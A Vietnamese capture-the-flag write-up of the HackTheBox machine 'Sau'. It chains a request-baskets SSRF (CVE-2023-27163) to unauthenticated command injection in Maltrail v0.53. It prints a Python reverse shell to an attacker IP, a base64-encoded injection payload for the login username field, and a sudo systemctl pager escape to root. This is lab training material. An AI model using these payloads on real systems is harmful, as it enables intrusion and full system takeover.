- vừa được xem lúc

[Write-up] HACKTHEBOX Machine: Sau - SSRF to Command Injection

0 0 781

Người đăng: Phạm Hiếu

Theo Viblo Asia

1. Recon

Đầu tiên khi khai thác bất kỳ máy nào chúng ta sẽ thực hiện Nmap để kiểm tra các dịch vụ đang chạy trên server

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS 10.10.11.224
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-18 02:55 EST
Nmap scan report for 10.10.11.224
Host is up (0.26s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp filtered http
55555/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 22.85 seconds

Hệ thống mở 1 cổng 22 ssh, 80 http bị filter và 55555 không xác định

2. Exploit

Truy cập vào port 55555 ta được

image.png

Đây là ứng dụng requests-baskets ver 1.2.1. Requests-baskets là một ứng dụng web được xây dựng để nhận các requests, được gọi là basket. Khi tạo, người dùng có thể chỉ định một máy chủ khác để chuyển tiếp yêu cầu. Vấn đề ở đây là người dùng có thể chỉ định bất cứ các dịch vụ nào tuỳ ý, chẳng hạn như các ứng dụng bị chặn truy cập với người dùng bên ngoài. Nó hoạt động giống như là webhooks, requestrepo, ...

Search trên google thì có CVE về request-baskets: https://github.com/entr0pie/CVE-2023-27163/tree/main

Nó bị dính lỗi SSRF cho phép ta truy cập đến cổng 80 của server đã bị chặn với người dùng bên ngoài. Thực hiện khai thác mã khai thác có sẵn

┌──(kali㉿kali)-[~]
└─$ ./CVE-2023-27163.sh http://10.10.11.224:55555 http://127.0.0.1:80 Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163 > Creating the "wltqwb" proxy basket...
> Basket created!
> Accessing http://10.10.11.224:55555/wltqwb now makes the server request to http://127.0.0.1:80.
> Authorization: 0oXiXiXcIftnHeBqA9mb7nP4kysO9Xm_iZCUA_azEgdC

Truy cập http://10.10.11.224:55555/wltqwb ta có thể truy cập được cổng 80, ứng dụng là matrail

 

3. Recon trên cổng 80

Recon ở trang web trên

┌──(kali㉿kali)-[~]
└─$ ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://10.10.11.224:55555/wltqwb/FUZZ /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.5.0 Kali Exclusive <3
________________________________________________ :: Method : GET :: URL : http://10.10.11.224:55555/wltqwb/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________ [Status: 200, Size: 7091, Words: 1916, Lines: 112, Duration: 145ms]
index [Status: 200, Size: 7091, Words: 1916, Lines: 112, Duration: 167ms]
events [Status: 401, Size: 0, Words: 1, Lines: 1, Duration: 149ms]
login [Status: 401, Size: 12, Words: 2, Lines: 1, Duration: 5170ms]
logout [Status: 200, Size: 7091, Words: 1916, Lines: 112, Duration: 145ms]
ping [Status: 200, Size: 4, Words: 1, Lines: 1, Duration: 118ms]

Kết quả được các endpoint hiện tại có thể truy cập được /index, /ping

4. Exploit

 

Sau khi research thì phiên bản Maltrail v0.53 này bị dính Command injection thông qua login page ở phần username input, dưới đây là phần code bị lỗi cụ thể ở parameter: shell=True

subprocess.check_output("logger -p auth.info -t \"%s[%d]\" \"%s password for %s from %s port %s\"" % (NAME.lower(), os.getpid(),"Accepted" if valid else "Failed", params.get("username"), self.client_address[0], self.client_address[1]), stderr=subprocess.STDOUT, shell=True)

Dưới đây là đoạn code reverse shell

export RHOST="10.10.16.10";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Base64 Encode và nhập vào username

;`echo+"ZXhwb3J0IFJIT1NUPSIxMC4xMC4xNi4xMCI7ZXhwb3J0IFJQT1JUPTQ0NDQ7cHl0aG9uIC1jICdpbXBvcnQgc3lzLHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KChvcy5nZXRlbnYoIlJIT1NUIiksaW50KG9zLmdldGVudigiUlBPUlQiKSkpKTtbb3MuZHVwMihzLmZpbGVubygpLGZkKSBmb3IgZmQgaW4gKDAsMSwyKV07cHR5LnNwYXduKCIvYmluL2Jhc2giKSc"|base64+-d|bash`;

Thực hiện lắng nghe và đang truy cập thành công image.png

Sử dụng sudo -l

 

Nó cho phép chạy /usr/bin/systemctl status trail.service với quyền sudo mà không cần nhập password

Sau 1 hồi reseach ở trên đây

Thực hiện như sau:

puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
- (press RETURN)!sh
!sshh!sh
# whoami 
whoami
root

5. Recomendation

  • Cập nhật bản mới của Request Baskets
  • Cập nhật bản mới của Maltrail. Nhà phát triển đã fix lỗi nãy, phần so sánh có thể xem ở đây

6. Referrence

[1]. Maltrail-v0.53 POC: https://github.com/spookier/Maltrail-v0.53-Exploit/blob/main/README.md

[2]. Request Baskets CVE: https://github.com/entr0pie/CVE-2023-27163/tree/main

Bình luận

Bài viết tương tự

- vừa được xem lúc

Tài nguyên nghiên cứu sâu Html

1. Articles and standards. . HTML 5.

0 0 183

- vừa được xem lúc

Embedded Template in Go

Getting Start. Part of developing a web application usually revolves around working with HTML as user interface.

0 0 40

- vừa được xem lúc

Full Stack Developer Roadmap 2021

Cách để trở thành một Full Stack Web Developer trên thế giới hiện nay. Các công ty đang luôn săn đón những developer có nhiều kĩ năng để cung cấp cho họ sự linh hoạt trong các dự án.

0 0 25

- vừa được xem lúc

Những kiến thức hay về Gradient: Gradient đẹp nhất chỉ được tìm thấy ở ngoài thiên nhiên!

. Quen thuộc từ lâu với rất nhiều người, nền Gradient chỉ là những bức nền với 2 hay nhiều dải màu sắc được hòa trộn với nhau. Đơn giản là vậy, nhưng càng ngày Gradient càng phổ biến hơn trong thiết kế Website ngày nay.

0 0 288

- vừa được xem lúc

What Is Session Fixation?

Session Fixation là một kỹ thuật tấn công web. Kẻ tấn công lừa người dùng sử dụng session ID đặc biệt.

0 0 33

- vừa được xem lúc

Làm thế nào để Design của Website thu hút hơn?

Xin chào các bạn. Bởi thế, không phải bàn cãi, thiết kế giao diện vừa thu hút, vừa chuyên nghiệp và ấn tượng là một trong những yếu tố quan trọng nhất trong cả quá trình phát triển 1 website.

0 0 23